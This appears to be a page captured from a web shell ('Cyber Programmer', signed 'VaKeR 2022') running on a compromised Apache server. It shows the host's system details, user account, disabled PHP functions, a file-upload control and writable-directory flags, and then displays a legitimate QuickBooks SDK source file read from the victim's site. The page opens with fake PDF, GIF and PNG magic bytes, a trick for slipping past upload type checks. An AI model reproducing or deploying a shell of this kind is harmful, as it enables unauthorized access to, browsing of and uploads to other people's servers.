%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/vendor/quickbooks/v3-php-sdk/src/Facades/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/vendor/quickbooks/v3-php-sdk/src/Facades/Purchase.php
<?php
namespace QuickBooksOnline\API\Facades;

class Purchase{

    public static function create(array $data, $throwException = TRUE){
        if(!isset($data) || empty($data)) throw new \Exception("Passed array for creating Purchase is Empty");
        $PurchaseObject = FacadeHelper::reflectArrayToObject("Purchase", $data, $throwException );
        return $PurchaseObject;
    }

    /**
     * This is an immutable function
     */
    public static function update($objToUpdate, array $data){
        $classOfObj = get_class($objToUpdate);
        if(strcmp($classOfObj, FacadeHelper::simpleAppendClassNameSpace("Purchase")) != 0){
            throw new \Exception("Target object class:{" .  $classOfObj . "} is not an instance of Purchase.");
        }
        $newPurchaseObj = Purchase::create($data);
        $clonedOfObj = FacadeHelper::cloneObj($objToUpdate);
        FacadeHelper::mergeObj($clonedOfObj, $newPurchaseObj);
        return $clonedOfObj;
    }

}

VaKeR 2022